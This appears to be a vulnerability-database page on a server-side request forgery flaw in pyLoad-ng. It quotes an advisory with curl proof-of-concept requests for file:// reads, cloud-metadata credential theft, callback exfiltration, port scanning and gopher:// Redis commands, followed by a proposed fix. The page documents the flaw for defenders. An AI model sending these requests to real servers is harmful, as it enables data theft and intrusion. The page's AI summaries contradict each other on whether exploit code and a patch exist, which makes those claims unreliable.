Python
CVE-2026-35187
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as user with ADD permission
-
ExploitCall parse_urls API with file:// URL
-
ExecutionServer fetches local file via pycurl
-
ImpactRead sensitive files from server filesystem
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated user with ADD permission in pyLoad can exploit the parse_urls API function in src/pyload/core/api/__init__.py (line 556) to perform SSRF attacks. Attacker can fetch arbitrary URLs via HTTP/HTTPS, file://, gopher://, and dict:// protocols without validation, reading local files and accessing internal services. |
| Impact | Real-world risk is HIGH despite requiring authenticated access with ADD permissions. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C) indicates network-based attacks with low complexity and scope change, meaning authenticated users can reach resources beyond their normal authorization boundary. The Changed scope combined with high confidentiality impact (C:H) accurately reflects the ability to read files and access services outside the application's intended domain. Cloud deployments face elevated risk as attackers can retrieve IAM credentials from metadata endpoints (AWS 169.254.169.254, GCP metadata server), potentially pivoting to full cloud infrastructure compromise. Docker environments are explicitly confirmed vulnerable per proof-of-concept against linuxserver/pyload-ng. The multi-protocol capability (file://, gopher://, dict://) significantly increases exploitability compared to HTTP-only SSRF, enabling Redis command injection, SMTP relay abuse, and direct database access. While authentication is required (PR:L), many pyLoad installations grant ADD permissions to regular users for legitimate download functionality, reducing the barrier to exploitation. The file existence oracle enables reconnaissance even when direct content extraction fails. No EPSS score or KEV status provided in input data, but the detailed technical advisory with working proof-of-concept increases likelihood of real-world exploitation. |
| Exploit ScenarioDerived | An authenticated attacker with ADD permissions logs into a cloud-hosted pyLoad-ng instance and extracts the CSRF token from their session. They submit a malicious parse_urls API request with url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ to retrieve AWS IAM role credentials from the metadata endpoint. The server-side pycurl request succeeds, returning temporary AWS access keys that the attacker extracts from the response. Using these credentials, the attacker pivots to the organization's AWS infrastructure, accessing S3 buckets and EC2 instances. In a secondary attack, the attacker uses file:///config/data/pyload.db to read the SQLite database containing user credentials and download history, then leverages gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/tmp to exploit an internal Redis instance for remote code execution. Publicly available exploit code exists in the form of detailed curl-based proof-of-concept commands in the GitHub advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 04, 2026
Server-Side Request Forgery in pyLoad-ng allows authenticated users with ADD permissions to read local files via file:// protocol, access internal network services, and exfiltrate cloud metadata. The parse_urls API endpoint fetches arbitrary URLs without protocol validation, enabling attackers to read /etc/passwd, configuration files, SQLite databases, and AWS/GCP metadata endpoints at 169.254.169.254. Error-based responses create a file existence oracle. Multi-protocol support (file://, gopher://, dict://) escalates impact beyond standard HTTP SSRF. CVSS 7.7 reflects network attack vector, low complexity, and scope change with high confidentiality impact. No public exploit code identified at time of analysis, though detailed proof-of-concept included in advisory demonstrates exploitation via curl commands against Docker deployments.
RemediationAI
Apply vendor-released patch from the pyLoad project repository at https://github.com/pyload/pyload per security advisory GHSA-2wvg-62qm-gj33 available at https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33. The advisory includes a proposed fix implementing URL validation via _is_safe_url() function that restricts protocols to HTTP/HTTPS only and blocks private IP ranges (RFC1918), loopback addresses, link-local, and reserved ranges using Python's ipaddress module. Until patching, implement network-level controls to restrict outbound connections from pyLoad containers/servers, blocking access to metadata endpoints (169.254.169.254) and internal RFC1918 ranges via firewall rules. Review user permissions to limit ADD capability to trusted administrators only. For Docker deployments, update to patched linuxserver/pyload-ng image versions when available. Monitor server-side request logs for suspicious file://, gopher://, or dict:// protocol usage and requests to internal IP ranges.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PyLoad-ng is a Python-based download manager (distributed as pkg:pip/pyload-ng) that uses pycurl for HTTP operations. The vulnerability exists in src/pyload/core/api/__init__.py line 556, where the parse_urls function directly passes user-supplied URLs to get_url() without validation. PycURL's default configuration supports multiple protocols beyond HTTP/HTTPS, including file:// for local filesystem access, gopher:// for TCP stream manipulation, and dict:// for dictionary server queries. CWE-918 (Server-Side Request Forgery) occurs when applications fetch remote resources based on user input without validating destination addresses or allowed protocols. The lack of IP address filtering (private ranges, loopback, link-local) and protocol whitelisting allows attackers to bypass network segmentation. The function's error handling creates an oracle pattern where successful file reads return empty responses while nonexistent paths trigger pycurl error 37, enabling file enumeration without reading content directly.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/pyload/pyload) · only source for this CVE.
CVSS VectorVendor: https://github.com/pyload/pyload
DescriptionCVE.org
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
- Read local files via
file://protocol (pycurl reads the file server-side) - Interact with internal services via
gopher://anddict://protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/__init__.py (line 556):
def parse_urls(self, html=None, url=None):
if url:
page = get_url(url)
# NO protocol restriction, NO URL validation, NO IP blacklist
urls.update(RE_URLMATCH.findall(page))No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latestLog in as any user with ADD permission and extract the CSRF token:
CSRF=PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
curl -s -b "pyload_session_8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parse_urlsResult: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}
# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable:
/etc/passwd,/etc/hosts/proc/self/environ(process environment variables)/config/settings/pyload.cfg(pyLoad configuration)/config/data/pyload.db(SQLite database)
PoC 3: Internal port scanning
curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')PoC 4: gopher:// and dict:// protocol support
curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urlsBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via
file://protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (
Couldn't open filevs empty response) - Access cloud metadata endpoints (AWS IAM credentials at
http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing
- Interact with internal services via
gopher://(Redis RCE, SMTP relay) anddict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
from urllib.parse import urlparse
import ipaddress
import socket
def _is_safe_url(url):
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https'):
return False
hostname = parsed.hostname
if not hostname:
return False
try:
for info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
return False
except (socket.gaierror, ValueError):
return False
return True
def parse_urls(self, html=None, url=None):
if url:
if not _is_safe_url(url):
raise ValueError("URL targets a restricted address or uses a disallowed protocol")
page = get_url(url)
urls.update(RE_URLMATCH.findall(page))Executive ViewAI
pyLoad-ng contains a server-side request forgery vulnerability allowing authenticated users with ADD permissions to read sensitive local files, access internal network services, and exfiltrate cloud metadata credentials. Organizations using pyLoad-ng face immediate risk of unauthorized data exposure including configuration files, databases, and cloud infrastructure credentials if users with ADD permissions are present or if access controls are inadequately segregated.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict ADD permission grants to only trusted administrative accounts; (2) Implement network-level controls blocking access to 169.254.169.254 and internal service ports from pyLoad-ng process; (3) Disable file:// and gopher:// protocol support in pyLoad-ng configuration if available; (4) Monitor parse_urls API endpoint for suspicious requests; (5) Isolate pyLoad-ng instances on dedicated network segments without access to sensitive internal systems or cloud metadata endpoints.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-2wvg-62qm-gj33
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB